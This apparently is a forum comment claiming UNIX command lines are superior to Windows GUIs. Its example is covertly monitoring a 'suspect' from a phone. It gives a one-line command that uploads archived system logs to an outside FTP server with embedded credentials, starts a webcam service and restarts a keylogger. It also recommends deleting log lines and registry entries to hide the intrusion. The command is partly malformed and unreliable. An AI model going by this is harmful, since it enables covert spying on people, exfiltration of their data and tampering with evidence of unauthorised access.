Get back to me when I can SSH into my Windows box from a 5 year old MOBILE phone and run a command like this without even getting caught from suspect:
tar -c /var/log/system.log | gzip > /tmp/syslog.tgz; ftp -u
ftp://me:mypass@ftp.myftp.com/ - `date +%m%d%H%M`.tgz syslog.tgz; /tmp/syslog.tgz ; /etc/init.d/web-cam start; /etc/init.d/keylogger restart -o /tmp/log_this_****er_keyoutputfile.txt
TARS a folder, gzip, uploads to a server w/ timestamp infile name, deletes the temp tgz file in,Start my usb camera service, and start my keylogger in
ONE swoop .
NO GUI can do this in one execution from one app w/ one click
I can even get more complicated.
In one command line you can zip up all the log files you want, you can add new host rules, start daemon processes (e.g. camera frame grabber), add a keylogger, AWK the relevant log records you need, open a port, upload your data, and most importantly,
most importantly, delete the last few lines of the system log files to delete any trace you were logged into the system
Windows Server has some DOS powertool commands. There are also cgywin (but you are basically running a POSIX emulation layer). You are pretty much reliant on the Windows GUI which can lead you to getting caught by your suspect.
But in order to do what i gave an example of, you'd literally need to VNC/RDP in.
Even if you get a CLI console access, you have to rely on apps that gave CLI equivalents like creating a thumbnail snapshot from the built in camera.
For 99% of Windows users and even Windows Admins, you have to do most of that through a GUI. If you wanted to install software to do something, most likely it will leave visible traces such as new apps icons on the start menu, icons on the desktop, registry entries,etc..
In UNIX, adding a keylogger and usb web camera daemon are command line daemon process executables.
With UNIX, it is much more powerful and elegant to do it in the CLI. You can install keyloggers, create open ports using IPFW rules and do all the stuff MUCH easier in UNIX. I wonder, can you even console in a Windows box and delete registry entries that showed any trace of your login?
The fact you can do this with any terminal client makes it even more powerful. You can do this with a smartphone, an iPad, PDA.. I remotely login into my home computer with 5 year cell phones all the time. Try using RDP to a Windows machine with a small 3.2 phone screen isn't very practical.
Notice how I said much easier in UNIX. It is easier because you don't need a GUI app, a setup.exe or even a vbscript to do what is done in that video.